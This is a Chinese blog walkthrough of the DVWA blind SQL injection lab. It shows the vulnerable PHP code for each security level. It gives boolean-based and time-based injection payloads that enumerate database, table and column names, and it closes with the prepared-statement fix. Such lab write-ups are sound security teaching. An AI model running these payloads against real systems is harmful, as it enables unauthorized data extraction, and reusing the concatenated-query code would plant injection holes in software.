SQL Injection (Blind)

最新推荐文章于 2022-12-09 12:34:32 发布
最新推荐文章于 2022-12-09 12:34:32 发布
阅读量474 收藏
点赞数
分类专栏： DVWA
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/angry_program/article/details/104216297
版权

前言

SQL盲注，即SQL Injection（Blind），与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果(错误回显)，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注的过程，就像你与一个机器人聊天，这个机器人知道的很多，但只会回答“是”或者“不是”，因此你需要询问它这样的问题，例如“数据库名字的第一个字母是不是a啊？”，通过这种机械的询问，最终获得你想要的数据。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。

手工盲注思路：

1.判断是否存在注入，注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

 

 

  • Low

服务端核心代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,  当sql语句查询(执行)成功的时候,  页面会给出提示信息:  

User ID exists in the database.; 

否则就显示:

User ID is MISSING from the database

即返回结果只有两种。

 

漏洞利用

首先演示布尔盲注,

正常操作:

 

1.  判断是否存在注入点以及注入类型:

1' and '1'='1

1' and '1'='2

于是存在注入点;  且注入类型为字符型。

 

2.  爆当前数据库

  • 爆数据库长度

首先要判断数据库名的长度,  下面是payload:

1' and length(database())=4#

  • 猜解每一位字母

这里就比较麻烦了, 要利用两个函数

mid()函数:  来截取每一位字母; 

ascii()函数:  将字符转化为数字,  进而用二分法猜解出字符对应的ascii码

爆每一位字符的payload:

1' and ascii(mid(database(),1,1))>110#

下面演示二分法:

1' and ascii(mid(database(),1,1))>110#                报错
1' and ascii(mid(database(),1,1))>100#                报错
1' and ascii(mid(database(),1,1))>99#                正确
1' and ascii(mid(database(),1,1))=100#                正确

由此可见,  第一位字符的ascii码为100, 对应字符为 d

接下来的步骤就是一样的了,  重复上述步骤就可以猜解出数据库为:  dvwa

3. 猜解表的个数

猜解数据库 dvwa 下的所有表个数:

1' and (select count(table_name) from information_schema.tables where table_schema=database())=3#

得知表的个数为 3 个

4. 猜解第一个表的长度

这里用通过 limit 来限制输出的表: (应用二分法)

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#

5. 猜解第一张表

爆每一位字符时候就要利用mid()函数了,  payload:

1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110#                报错
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#                正确
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103#                错误
1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#                正确

得到第一位字符的ascii码为103,  对应字符为 g

然后按照上面的步骤继续猜解就可以得到第一张表的名为:  guestbook

6. 猜解指定表的字段数

假设我们要猜解users表下的所有字段数,  那么方法也是和上面的大同小异

payload为:

1' and (select count(column_name) from information_schema.columns where table_name="users")=11#

7. 猜解第一个字段的长度

和猜解表名一样,  这里先猜解长度,  再逐字猜解。

猜解字段长度的payload:

1' and (select length(column_name) from information_schema.columns where table_name="users" limit 0,1)=7#

8. 猜解第一个字段的每一个字符

1' and ascii(mid((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=117#

如此反复, 就可以得到所有字段名了。(为了不让文章篇幅过长,  就不再一一演示了) 

 

 

  • Medium

服务端核心代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$id = $_POST[ 'id' ];
	$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	//mysql_close();
}

?>

可以看到，Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义，同时前端页面设置了下拉选择表单，希望以此来控制用户的输入。

 

漏洞利用

虽然前端使用了下拉选择菜单，但我们依然可以通过抓包改参数id，提交恶意构造的查询参数。

这里依然采用十六进制编码的方法来绕过mysql_real_escape_string函数。

之前已经介绍了详细的盲注流程，这里就简要演示几个。

首先是基于布尔的盲注：

抓包改参数id为1 and length(database())=4 #，显示存在，说明数据库名的长度为4个字符；

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #，显示存在，说明数据中的第一个表名长度为9个字符；

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #，（0×7573657273为users的16进制），显示存在，说明uers表有8个字段。

然后是基于时间的盲注：

抓包改参数id为1 and if(length(database())=4,sleep(5),1) #，明显延迟，说明数据库名的长度为4个字符；

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #，明显延迟，说明数据中的第一个表名长度为9个字符；

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #，明显延迟，说明uers表有8个字段。

 

 

  • High

服务端核心代码:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
	// Get input
	$id = $_COOKIE[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Might sleep a random amount
		if( rand( 0, 5 ) == 3 ) {
			sleep( rand( 2, 4 ) );
		}

		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

High级别的代码利用cookie传递参数id，当SQL查询结果为空时，会执行函数sleep(seconds)，目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1，希望以此控制只输出一个结果。

 

漏洞利用

虽然添加了LIMIT 1，但是我们可以通过#将其注释掉。

但由于服务器端执行sleep函数，会使得基于时间盲注的准确性受到影响，这里我们只演示基于布尔的盲注：

抓包将cookie中参数id改为1’ and length(database())=4 #，显示存在，说明数据库名的长度为4个字符；

抓包将cookie中参数id改为1’ and length(mid(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #，显示存在，说明数据中的第一个表名长度为9个字符；

抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #，（0×7573657273 为users的16进制），显示存在，说明uers表有8个字段。

 

 

  • Impossible

服务端核心代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();

		// Get results
		if( $data->rowCount() == 1 ) {
			// Feedback for end user
			$html .= '<pre>User ID exists in the database.</pre>';
		}
		else {
			// User wasn't found, so the page wasn't!
			header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

			// Feedback for end user
			$html .= '<pre>User ID is MISSING from the database.</pre>';
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到，Impossible级别的代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入，Anti-CSRF token机制的加入了进一步提高了安全性。

 

 

  • 参考文章

DVWA-1.9全级别教程之SQL Injection(Blind)

angry_program
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【DVWA】--- 八、sql盲注(SQL Injection Blind)
qq_43168364的博客
05-31 669
SQL Injection Blind 目录 一、low级别 二、Medium级别 三、High级别 四、Impossible级别 五、预防方法 一、low级别 注入点在输入框中，当输入正确时回显如下图 输入错误时的回显 根据回显不同进行布尔盲注，接下来判断注入类型 这里是字符型注入点字符型注入点 判断库名长度，命令：1' and length(database())=4 # 判断库名，命令：1’ and ascii(substr(database(),x,1))=100 #让x的值递增可以遍
DVWA之SQL Injection (Blind)
qq_39682037的博客
03-20 2173
盲注 盲注是注入的一种，指的是在不知道数据库返回值的情况下对数据中的内容进行猜测，实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。 Security Level: low 测试流程 输入 1 输入 1 and 1=1 输入1’ 输入 1’ and 1=1 输入 1’ and 1=2 输入1’ and length(database())=1 输入1’ and leng...
DVWA 之 SQL Injection Blind（SQL盲注）
RexHa的博客
10-04 2303
DVWA sql盲注
DVWA SQL Injection Blind 利用SQLMap注入
Senimo
03-18 980
DVWA SQL Injection Blind 利用SQLMap注入LowMediumHigh Low 输入数据1，得到回显： 只给出用户是否存在的回显，而且是GET传参，在抓取数据包时，发现还存在有Cookie中的传参： 将文件保存到本地，并在Cookie中的id=1后面加上字符*： 尝试直接使用SQLMap： sqlmap -r /root/桌面/1.txt 得到回显： 完成对Low级别的注入 Medium Medium级别需要下拉选择参数提交，使用BurpSuite抓取数据包： 将数
DVWA平台的使用Vulnerability: SQL Injection Blind手工注入
Senimo
03-22 1217
DVWA平台的使用Vulnerability: SQL Injection Blind手工注入LowMediumHighImpossible Low 此安全级别完全脆弱，根本没有任何安全措施。它的用途是作为网络应用程序漏洞如何通过不良编码实践表现出来的示例，并用作教授或学习基本利用技术的平台。 首先判断原语句的闭合方式，当输入1'时，提示该用户不在数据库中： 可判断原SQL语句闭合方式为id=...
Sql Injection (Blind)
qq_45521281的博客
04-14 1777
SQL Injection (Blind) SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 基于页面响应方式的盲注分类 基于布尔的盲注： 即可以根据...
SQL Injection Blind(Low)
七月_的博客
10-21 221
SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
dvwa之sql injection(blind)
Alsn86的博客
01-27 863
dvwa之 sql injection(blind) sql injection(blind)之low等级 1.判断出是字符型 2.看当前数据库名字长度1’ and length(database())=4;# 显示正确 所以数据库名长度为4 3.判断数据库名字为dvwa 1’ and substr(database(),1,1)=‘d’;# 判断出数据库名字第一个字符为’d’ 1’ and substr(database(),2,1)=‘d’;# 判断出数据库名字第一个字符为’v’ 1’ and
DVWA------SQL Injection (Blind)（SQL盲注）
m0_65712192的博客
12-09 2783
DVWA------SQL Injection (Blind)（SQL盲注）
Blind SQL injection：盲注详解
Zeker62的博客
08-18 1549
什么是盲注？ 当应用程序易受SQL注入攻击，但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时，就会出现盲SQL注入。 对于盲目SQL注入漏洞，许多技术（如联合攻击）都是无效的，因为它们依赖于能够在应用程序的响应中看到注入查询的结果。但是我们仍然可以利用盲SQL注入来访问未经授权的数据，但必须使用更高级的技术。 通过触发条件响应来利用盲注 考虑一个应用跟踪cookies收集关于使用的分析的应用程序。对应用程序的请求包括如下cookie头： Cookie: TrackingId=u5YD3
Blind SQL Injection
12-29
**SQL盲注（Blind SQL Injection）详解** SQL注入是一种常见的网络安全漏洞，它发生在Web应用程序未能充分验证或清理用户输入的数据时。当攻击者能够利用这种漏洞，他们可以向数据库发送自定义的SQL查询，从而获取...
DVWA下的SQL Injection(Blind)
07-25
盲注
Mysql-blind-inject.zip_Blind sql injection_SQL inject_blind_blin
09-24
MySQL盲注（Blind SQL Injection）是一种特殊类型的SQL注入攻击，攻击者无法直接看到数据库的响应，而是通过观察应用程序的间接行为来判断是否存在漏洞或获取数据。这种攻击方式通常发生在目标系统对错误信息进行了...
Advanced SQL Injection In SQL Server Applications
12-29
1. **盲注（Blind Injection）**：当应用没有直接返回错误信息时，攻击者必须依赖于应用程序的间接响应来判断SQL查询的结果。例如，基于时间的盲注，攻击者会构造一个使查询延迟执行的语句，通过等待时间长短来推断...
SQL Injection Attacks and Defense, 2nd Ed
03-21
### 第五章：盲注（Blind SQL Injection）利用 - **盲注概念**：解释在无法直接观察数据库响应的情况下，如何利用时间延迟等技巧进行攻击。 - **自动化盲注**：探讨自动化工具在盲注攻击中的应用。 - **总结与快速...
DOM Based Cross Site Scripting (XSS)
angry_program的博客
02-09 2773
前言 DOM（document object model文档对象模型），客户端脚本处理逻辑导致的安全问题。基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置，而使得攻击脚本被执行。在整个攻击过程中，服务器响应的页面并没有发生变化，引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。DOM型的XSS由于其特殊性，常常被分为第三种，这是一种基于DOM树的...
Reflected Cross Site Scripting (XSS)
angry_program的博客
02-10 2549
前言 反射型XSS, 即 Reflected Cross Site Scripting (XSS),攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的 页面和内容），一般容易出现在搜索页面。 下面对四种不同等级的反射型XSS漏洞进行分析: Low 服务端核心代码: <?php header ("X-XSS-Prot...
Stored Cross Site Scripting (XSS)
angry_program的博客
02-10 1317
前言 存储型XSS, 即Stored Cross Site Scripting (XSS), 也可以称为持久性的XSS, 顾名思义就是恶意代码存储在服务器或者数据库中, 恶意代码一般伴随着用户的评论发表、个人信息或者文章发表的地方, 如果没有过滤或者过滤不严格, 这些代码将会被存储在服务器中, 每当用户访问的时候, 恶意代码都会被触发, 造成大量cookie泄露, 甚至蠕虫。 下面对四种...
JavaScript Attacks
angry_program的博客
02-11 880
前言 JS攻击, 即JavaScript Attacks, 攻击者利用JavaScript实施攻击。 下面对四种不同等级的js攻击进行分析: Low 服务端核心代码: <?php $page[ 'body' ] .= <<<EOF <script> /* MD5 code from here https://github.com/...
SQL Blind Injection
最新发布
06-11
SQL Blind Injection（盲注）是一种利用目标应用程序的响应时间、错误信息、DNS 解析等特征来判断注入是否成功的攻击方式。它与普通的 SQL 注入攻击不同的是，它不需要直接获取到数据库的信息，而是通过构造特定的 ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值